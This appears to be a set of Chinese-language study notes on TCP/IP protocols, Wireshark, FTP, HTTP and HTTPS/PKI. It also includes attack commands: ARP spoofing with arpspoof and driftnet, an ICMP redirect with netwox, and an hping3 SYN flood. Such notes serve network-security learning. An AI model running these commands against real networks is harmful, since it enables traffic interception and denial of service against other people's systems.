网络协议与攻击模拟
一、协议
TCP/IP协议簇
1、协议
- 网络接口层
- 物理层
- 数据链路层
- 网络层:IP协议(v4/v6) ARP(地址解析) RARP ICMP(控制报文协议) IGMP
- 传输层:TCP(传输控制协议) UDP(用户数据报协议)
- 应用层:基于传输层端口 HTTP HTTPS
- DHCP
- DNS
- HTTP
- HTTPS
- FTP
- SMTP
- POP3
- IMAP
二、流量抓取工具(wireshark)
1、网卡
- wireshark是对主机网卡上数据流量抓取
2、网卡的模式
- 混杂模式:不管是否是自己目的,都抓取
- 非混杂模式:默认情况下处于此模式,不会接受目的非自己的数
三、ARP攻击
概念:地址解析协议
1、查看ARP缓存
# 查看缓存
arp -a
# 清除缓存
arp -d
# 添加缓存
arp -s
2、攻击
# arp欺骗
arpspoof -i eth0 -t 目标ip 网关
# 开启转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 监听图片
driftnet
四、ICMP协议及重定向攻击
概念:控制报文协议,用于在IP主机或路由器之间传递控制消息
网络是否通畅、主机是否可以到达,路由是否可用
1、ICMP协议
- 网络层协议,封装在传输层和网络成之间
2、ICMP报文格式
- 类型(type)
- 8 请求
- 0 应答
- 3 不正常应答
- 11 超时
- 5 重定向
3、ICMP重定向
在某些特定情况下,路由器检测到主机使用非优化路由的时候,会向主机发送一个ICMP的重定向报文,使主机路由改变。
4、重定向攻击
-
ettercap
-
netwox
netwox 86 -g 新网关
五、TCP协议
传输层的功能:定义应用层协议数据报文的端口号,流量控制。
对原始数据进行分段处理
1、传输层提供的服务
- 传输连接服务
- 数据传输服务:流量控制、差错校验、序列控制
2、传输层协议
- 面向连接的传输协议(TCP)
- 要求数据在传输之前必须建立连接
- 数据传输完成后必须释放连接
- 仅支持单播传输:两个终端之间的点对点连接
- UDP(用户数据报协议)
3、TCP的报文字段
4、TCP的三次握手
5、TCP的四次挥手
6、TCP半关闭状态
7、TCP的半连接状态
8、常见的TCP端口号
21 ftp
22 ssh
23 telnet
25 smtp
53 dns 两台DNS服务器用到TCP 本身dns时udp
80 http
110 pop3
143 imap4
443 https
3306 mysql
3389 rdp
六、SYN flood
# kali开启网卡
ifup eth0
# kali关闭网卡
ifdown eth0
# linux查看路由
route -n
1、攻击
# hping3
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.100
2、防御
- 使用TCP代理
- TCP源探测
七、UDP协议
UDP:用户数据报协议
1、特点
- 不需要连接,直接发送数据,不去重新排序,不需要确认
2、报文字段
- 源端口
- 目标端口
- UDP长度
- UDP校验和
3、常见UDP端口号
- 53 DNS
- 69 TFTP
- 111 RPC
- 123 NTP
- 161 SNMP
4、工具
- hping3
八、DHCP协议
用户动态获取IP地址(动态用户配置协议)
- 应用层协议,基于UDP
九、FTP协议
文件传输协议
由两部分组成:C/S架构
- 服务端
- 客户端
基于TCP协议,端口为20,21
- 20传输协议
- 21用于传输控制
- 主动模式使用20号端口
- 被动模式端口协商决定
1、主动模式
- 建立连接(三次握手)使用21号端口,服务器从20号端口主动向客户机发动连接(三次握手)
2、被动模式
- 建立连接(三次握手)使用21号端口,客户端向服务器发送命令,服务器随机打开一个高位端口,进行连接(三次握手)
3、传输文件模式
- 文本模式:ASCII模式,以文本序列传输
- 二进制模式:binary,非文本类(图片,视频,应用程序等等)
4、服务端程序
- server-u
- vsftp(开源)
- filezilla server(Linux)
- windows ftp服务器
5、客户端程序
-
命令行
ftp 192.168.0.1 访问
-
资源管理器
ftp://192.168.0.1 访问
-
浏览器
ftp://192.168.0.1
-
第三方工具
- flashFXP
- filezilla client
- xftp
- cuteftp
5、FTP用户
- 匿名用户
- anonymous:固定名称
- 普通用户
【注】注意防火墙
十、HTTP协议
1、概念
- HTTP(超文本传输协议),万维网服务器上传输超文本HTML代码。服务器到本地浏览器的传输协议。
- 基于TCP(HTML文本,文本等等)
2、万维网服务
- 采用C/S架构
- 客户机通过浏览器请求 浏览器对服务器架构(B/S)架构
3、万维网服务软件
- Windows IIS(win)
- apache (多平台)
- tomcat (多平台)
- nginx (多平台)
4、工作原理
客户端通过浏览器使用URL向HTTP服务器发送请求
- URL:统一资源定位器,由三部分组成(协议+主机和端口+文件名和路径)
WEB服务器根据收到的请求直接向客户机响应信息
HTTP默认端口为80,默认端口可以更改
交互过程
-
【注意】
-
http无连接:每次连接只处理一个请求
-
http独立:任何数据都可以处理,采用适合的MIME类型
-
http无状态:没有记忆能力,后续处理需要重传
-
十一、HTTPS协议
http+ssl/tls
1、基础
- 在http通道上增加安全性,传输过程通过加密和身份认证来确保传输的安全性
2、TLS
- 传输层安全协议,SSL/TLS是一个协议,ssl3.0更名为TLS,使用最为广泛的是TLS1.2版本
- 设计目标
- 保密性
- 完整性
- 认证:双方都配备证书,防止冒充
- 互操作
- 通用性
- 可扩展
- 高效率
- 发展史
- SSL 2.0 SSL3.0 TLS1.0 TLS1.1 TLS1.2 TLS1.3
3、http缺陷
- 明文传输
- 只对传输数据长度完整性校验,数据是否被篡改不做确认
4、https好处
- 传输前,协商加密算法(非对称加密算法,密钥交换,RSA/DH),数据签名摘要算法(MD5/HASH),数据采用对称加密算法(DES/AES/3DES)
5、加密算法
-
对称加密
- 加密解密密钥相同
- DES
- AES
- RC
-
非对称加密
- 加密和解密使用不同的密钥(公钥和私钥),每个用户都可以有自己的公钥和私钥,私钥是自己保存,使用一个密钥加密就需要另一个私钥解密。
- 加密比较复杂,大规模数据,比较影响速率
- DH
- RSA
- ECC
- RABIN
6、PKI体系
公钥基础设施
使用公钥技术和数字签名来确保信息安全
公钥加密技术(非对称加密),数字证书,CA(证书颁发机构),RA(证书注册机构)组成
- 实现功能
- 身份验证
- 数据完整性
- 数据机密性
- 操作不可否认性
- 身份认证及完整性认证
- 数字证书
- 保证密钥的合法性
- 证书的主体可以是任何一个对象
- 包含信息
- 使用者的公钥
- 使用者的标识
- 有效期
- 颁发者的标识信息
- 颁发者的数字签名